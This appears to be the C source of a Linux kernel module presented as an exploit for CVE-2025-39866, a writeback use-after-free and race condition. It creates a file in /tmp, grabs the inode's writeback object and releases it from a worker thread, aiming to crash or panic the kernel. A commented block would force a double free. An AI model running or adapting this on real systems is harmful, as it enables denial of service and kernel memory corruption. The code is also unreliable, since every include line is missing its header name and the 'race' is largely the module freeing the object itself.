/* * Author : Byte Reaper CVE : CVE-2025-39866 kernel version : < 6.12.16 Type : UAF / Race condition Target function : __mark_inode_dirty() step 1 : Create thread 1 "main pid" - get root dentry - create file txt writeback target - create strcut inode - Create object wb - save pointer wb in wb_old step 2 : - Create Thread 2 "paid fork || kthread" - switch wb "inode_switch_wbs_work_fn" inode->i_wb = wb_new and wb_put_many step 3 : - thread 2 : free wb_olb - thread 1 -> pointer - free object wb (free old) -> access free address -> crash kernel (segfault) / kernel panic */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static void inode_switch_wbs_work_fn(struct work_struct* work); struct bdi_writeback* oldWbValue; struct inode* oldIndode; static struct workqueue_struct* cleanWORK; struct my_wb_work { struct work_struct work; struct bdi_writeback* wb_old; struct inode* inode; }; struct myWriteback { int data; atomic_t refcount; }; static void inode_switch_wbs_work_fn(struct work_struct* work) { struct my_wb_work* wbWork = container_of(work, struct my_wb_work, work); wb_put_many(wbWork->wb_old, 1); kfree(wbWork); } static int func1(void) { pid_t mainPid; struct pid* pidS; struct task_struct* task; mainPid = current->tgid; if (mainPid == 0) { printk(KERN_ERR "[-] PID IS 0 !\n"); return -EINVAL; } printk(KERN_INFO "[+] MAIN PID (thread 1) : %d\n", mainPid); pidS = find_get_pid(mainPid); if (!pidS) { printk(KERN_ERR "[-] PID %d not found, Exit...\n", mainPid); return -ESRCH; } task = pid_task(pidS, PIDTYPE_PID); if (!task) { printk(KERN_ERR "[-] Task Struct for PID %d not found\n", mainPid); return -ESRCH; } printk(KERN_INFO "[+] Found process: %s with PID: %d\n", task->comm, task->pid); printk(KERN_INFO "[+] Get Root Dentry (/tmp)...\n"); struct path path; int v = kern_path("/tmp", LOOKUP_FOLLOW, &path); if (v) { printk(KERN_ERR "[-] Cannot get path tmp !\n"); return -EINVAL; } printk(KERN_INFO "[+] Get Path tmp success.\n"); struct dentry* rootDentry = path.dentry; struct vfsmount* mount = path.mnt; if (rootDentry != NULL && mount != NULL) { printk(KERN_INFO "[+] Get Success ROOT DENTRY AND MOUNT POINT.\n"); printk(KERN_INFO "[+] PATH Root Dentry : %s\n", rootDentry->d_name.name); printk(KERN_INFO "[+] Mount root (ID) : %s\n", mount->mnt_sb->s_id); } struct file* filp; int fd; fd = get_unused_fd_flags(O_CLOEXEC); if (fd < 0) { return fd; } printk(KERN_INFO "[+] File Create Module, Initializing...\n"); filp = filp_open("/tmp/file.txt", O_WRONLY | O_CREAT, 0600); if (IS_ERR(filp)) { int e = PTR_ERR(filp); put_unused_fd(fd); printk(KERN_ERR "[-] File OPEN failed : %d\n", e); return e; } fd_install(fd, filp); printk(KERN_INFO "[+] File /tmp/file.txt created and installed on fd=%d\n", fd); char* data = "Target File.\n"; ssize_t w; loff_t offset = 0; w = kernel_write(filp, data, strlen(data), &offset); if (w < 0) { printk(KERN_ERR "[-] Kernel Write Data failed : %zd\n", w); } else { printk(KERN_INFO "[+] Write %zd bytes to file\n", w); if (offset != 0) { printk(KERN_INFO "[+] Current offset in file: %lld\n", (long long)offset); } } struct inode* inode; inode = file_inode(filp); if (!inode) { pr_err("[-] No INODE IN FILE !\n"); return -EINVAL; } __mark_inode_dirty(inode, I_DIRTY_SYNC); struct address_space* mapping; mapping = inode->i_mapping; struct backing_dev_info* bdi = inode_to_bdi(inode); struct bdi_writeback* wb = &bdi->wb; if (bdi != NULL && (wb != NULL && mapping != NULL)) { printk(KERN_INFO "[+] WB object Get Success.\n"); printk(KERN_INFO "[+] WB Pointer : %p\n", wb); printk(KERN_INFO "[+] Pointer Mapping inode : %p\n", mapping); } else { printk(KERN_ERR "[-] Error get WB and mapping inode (NULL value) !\n"); return -EINVAL; } put_task_struct(task); put_pid(pidS); oldWbValue = wb; oldIndode = inode; return 0; } static int func2(void *data) { bool done = false; while (!kthread_should_stop()) { struct task_struct* taskThread2; struct pid* pidStruct; printk(KERN_INFO "[+] Thread 2 is RUN SUCCESS.\n"); ssleep(1); pid_t kthreadPid; kthreadPid = current->tgid; printk(KERN_INFO "[+] PID thread 2 : %d\n", kthreadPid); if (kthreadPid == 0) { printk(KERN_ERR "[-] Error get TGID !\n"); return -EINVAL; } printk(KERN_INFO "[+] TGID Thread 2 : %d\n", kthreadPid); pidStruct = find_get_pid(kthreadPid); if (!pidStruct) { printk(KERN_ERR "[-] Error Find PID thread 2 !\n"); } taskThread2 = pid_task(pidStruct, PIDTYPE_PID); if (taskThread2) { get_task_struct(taskThread2); } else { printk(KERN_INFO "[-] Error get TASK struct !\n"); return -EINVAL; } printk(KERN_INFO "[+] Found process thread 2 : %s with PID: %d\n", taskThread2->comm, taskThread2->pid); if (oldWbValue == NULL || oldIndode == NULL) { printk("[-] Error switch wb_old (NULL value) OR (inode_old NULL) !\n"); return -EINVAL; } struct my_wb_work* wbWork = kmalloc(sizeof(*wbWork), GFP_KERNEL); if (!wbWork) { printk(KERN_ERR "[-] Error allocating WB work struct!\n"); return -ENOMEM; } printk(KERN_INFO "[+] Get WB work Success (NOT NULL struct)\n"); wbWork->wb_old = oldWbValue; wbWork->inode = oldIndode; if (wbWork->wb_old == NULL || wbWork->inode == NULL) { printk(KERN_INFO "[-] Error Set old inode and wb, Exit...\n"); return -EINVAL; } printk(KERN_INFO "[+] Set Success OLD WB AND OLD INODE (o_inode && old_wb Not NULL).\n"); if (!cleanWORK) { cleanWORK = alloc_workqueue("cleanWB", WQ_UNBOUND | WQ_MEM_RECLAIM, 0); } INIT_WORK(&wbWork->work, inode_switch_wbs_work_fn); bool queue = queue_work(cleanWORK, &wbWork->work); if (queue == false) { printk(KERN_WARNING "[-] Work was already queued, not added again!\n"); return -1; } printk(KERN_INFO "[+] Switch wb_old and inode_old Sucess (inode_switch_wbs_work_fn)\n"); put_task_struct(taskThread2); put_pid(pidStruct); printk(KERN_INFO "[+] PUT PID AND Struct TASK...\n"); printk(KERN_INFO "[+] Free old wb...\n"); // POC CONFIRMATION: Uncomment this block if you want to verify the Race Condition success. // A resulting Double Free will confirm the pointer was previously freed by wb_put_many(). //struct kmem_cache* cacheWB; //cacheWB = kmem_cache_create("cacheWB", //sizeof(struct myWriteback), //0, SLAB_HWCACHE_ALIGN, //NULL); //struct writeback* wbCopy = kmem_cache_alloc(cacheWB, GFP_KERNEL); //wbCopy = (struct writeback*)oldWbValue; //kmem_cache_free(cacheWB, wbCopy); done = true; if (done == true) { break; } } return 0; } struct task_struct* threadE; static int __init initM(void) { printk(KERN_INFO "[+] Module loaded successfully\n"); if (func1() != 0) { printk(KERN_ERR "[-] func1 failed, exiting module\n"); return -1; } threadE = kthread_run(func2, NULL, "threaD2"); if (IS_ERR(threadE)) { printk(KERN_ERR "[-] Failed to create thread 2\n"); return PTR_ERR(threadE); } return 0; } static void __exit exitM(void) { if (threadE) { kthread_stop(threadE); threadE = NULL; } if (cleanWORK) { flush_workqueue(cleanWORK); destroy_workqueue(cleanWORK); cleanWORK = NULL; } printk(KERN_ALERT "[+] Module removed.\n"); } module_init(initM); module_exit(exitM); MODULE_LICENSE("GPL v2"); MODULE_AUTHOR("Byte Reaper"); MODULE_DESCRIPTION("Exploit for CVE-2025-39866");